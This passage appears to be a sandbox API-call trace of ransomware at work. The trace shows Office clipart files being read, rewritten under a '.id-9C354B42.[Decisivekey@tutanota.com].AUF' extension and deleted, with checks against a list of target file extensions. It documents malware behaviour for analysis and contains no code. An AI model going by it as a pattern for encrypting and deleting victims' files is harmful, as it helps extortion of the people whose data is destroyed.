[0218.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0218.948] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.949] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.951] GetLastError () returned 0x0 [0218.951] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x9456, lpOverlapped=0x0) returned 1 [0218.994] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x9460, lpOverlapped=0x0) returned 1 [0218.996] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.996] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.996] SetEndOfFile (hFile=0x1fc) returned 1 [0218.996] CloseHandle (hObject=0x1fc) returned 1 [0218.996] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.996] SetEndOfFile (hFile=0x1e8) returned 1 [0218.997] CloseHandle (hObject=0x1e8) returned 1 [0218.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString=".doc") returned 4 [0219.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString=".docx") returned 5 [0219.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.129] lstrlenW (lpString=".pdf") returned 4 [0219.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString=".xls") returned 4 [0219.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.129] lstrlenW (lpString=".xlsx") returned 5 [0219.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.129] lstrlenW (lpString=".ppt") returned 4 [0219.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString=".zip") returned 4 [0219.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.129] lstrlenW (lpString=".rar") returned 4 [0219.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString=".bz2") returned 4 [0219.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString=".7z") returned 3 [0219.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString=".dbf") returned 4 [0219.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString=".1cd") returned 4 [0219.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0219.129] lstrlenW (lpString=".jpg") returned 4 [0219.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.442] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.442] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0219.443] GetLastError () returned 0x0 [0219.443] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x44b0, lpOverlapped=0x0) returned 1 [0219.705] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0219.706] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.706] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.706] SetEndOfFile (hFile=0x20c) returned 1 [0219.706] CloseHandle (hObject=0x20c) returned 1 [0219.706] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.706] SetEndOfFile (hFile=0x204) returned 1 [0219.707] CloseHandle (hObject=0x204) returned 1 [0219.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0219.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.707] lstrlenW (lpString=".doc") returned 4 [0219.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.707] lstrlenW (lpString=".docx") returned 5 [0219.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.708] lstrlenW (lpString=".pdf") returned 4 [0219.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString=".xls") returned 4 [0219.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.708] lstrlenW (lpString=".xlsx") returned 5 [0219.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.708] lstrlenW (lpString=".ppt") returned 4 [0219.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.708] lstrlenW (lpString=".zip") returned 4 [0219.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.708] lstrlenW (lpString=".rar") returned 4 [0219.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString=".bz2") returned 4 [0219.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString=".7z") returned 3 [0219.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.708] lstrlenW (lpString=".dbf") returned 4 [0219.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.708] lstrlenW (lpString=".1cd") returned 4 [0219.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0219.708] lstrlenW (lpString=".jpg") returned 4 [0219.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.708] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=42908) returned 1 [0219.708] CloseHandle (hObject=0x204) returned 1 [0219.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0219.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0219.709] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.709] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0219.709] GetLastError () returned 0x0 [0219.709] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xa79c, lpOverlapped=0x0) returned 1 [0219.796] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0219.797] ReadFile (in: hFile=0x204, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.797] WriteFile (in: hFile=0x20c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.797] SetEndOfFile (hFile=0x20c) returned 1 [0220.039] CloseHandle (hObject=0x20c) returned 1 [0220.041] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.041] SetEndOfFile (hFile=0x204) returned 1 [0220.042] CloseHandle (hObject=0x204) returned 1 [0220.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0220.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.052] lstrlenW (lpString=".doc") returned 4 [0220.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.052] lstrlenW (lpString=".docx") returned 5 [0220.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.052] lstrlenW (lpString=".pdf") returned 4 [0220.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.052] lstrlenW (lpString=".xls") returned 4 [0220.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.052] lstrlenW (lpString=".xlsx") returned 5 [0220.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.052] lstrlenW (lpString=".ppt") returned 4 [0220.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.052] lstrlenW (lpString=".zip") returned 4 [0220.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.052] lstrlenW (lpString=".rar") returned 4 [0220.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.052] lstrlenW (lpString=".bz2") returned 4 [0220.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.052] lstrlenW (lpString=".7z") returned 3 [0220.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.053] lstrlenW (lpString=".dbf") returned 4 [0220.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.053] lstrlenW (lpString=".1cd") returned 4 [0220.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0220.053] lstrlenW (lpString=".jpg") returned 4 [0220.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.068] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.068] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.069] GetLastError () returned 0x0 [0220.069] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5130, lpOverlapped=0x0) returned 1 [0220.127] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5140, lpOverlapped=0x0) returned 1 [0220.128] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.128] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.128] SetEndOfFile (hFile=0x16c) returned 1 [0220.128] CloseHandle (hObject=0x16c) returned 1 [0220.128] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.129] SetEndOfFile (hFile=0x1f8) returned 1 [0220.130] CloseHandle (hObject=0x1f8) returned 1 [0220.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0220.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.130] lstrlenW (lpString=".doc") returned 4 [0220.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.130] lstrlenW (lpString=".docx") returned 5 [0220.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.130] lstrlenW (lpString=".pdf") returned 4 [0220.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.130] lstrlenW (lpString=".xls") returned 4 [0220.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.130] lstrlenW (lpString=".xlsx") returned 5 [0220.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.130] lstrlenW (lpString=".ppt") returned 4 [0220.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.130] lstrlenW (lpString=".zip") returned 4 [0220.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.130] lstrlenW (lpString=".rar") returned 4 [0220.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.130] lstrlenW (lpString=".bz2") returned 4 [0220.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.130] lstrlenW (lpString=".7z") returned 3 [0220.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.130] lstrlenW (lpString=".dbf") returned 4 [0220.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.131] lstrlenW (lpString=".1cd") returned 4 [0220.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0220.131] lstrlenW (lpString=".jpg") returned 4 [0220.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.131] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3692) returned 1 [0220.131] CloseHandle (hObject=0x1f8) returned 1 [0220.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0220.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.131] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.131] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0220.132] GetLastError () returned 0x0 [0220.132] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xe6c, lpOverlapped=0x0) returned 1 [0220.156] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0220.157] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.157] WriteFile (in: hFile=0x16c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.157] SetEndOfFile (hFile=0x16c) returned 1 [0220.157] CloseHandle (hObject=0x16c) returned 1 [0220.157] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.157] SetEndOfFile (hFile=0x1f8) returned 1 [0220.157] CloseHandle (hObject=0x1f8) returned 1 [0220.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0220.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.161] lstrlenW (lpString=".doc") returned 4 [0220.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.161] lstrlenW (lpString=".docx") returned 5 [0220.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.162] lstrlenW (lpString=".pdf") returned 4 [0220.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString=".xls") returned 4 [0220.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.162] lstrlenW (lpString=".xlsx") returned 5 [0220.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.162] lstrlenW (lpString=".ppt") returned 4 [0220.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.162] lstrlenW (lpString=".zip") returned 4 [0220.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.162] lstrlenW (lpString=".rar") returned 4 [0220.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString=".bz2") returned 4 [0220.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString=".7z") returned 3 [0220.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.162] lstrlenW (lpString=".dbf") returned 4 [0220.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0220.162] lstrlenW (lpString=".1cd") returned 4 [0220.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.162] lstrlenW (lpString="C:\\Program 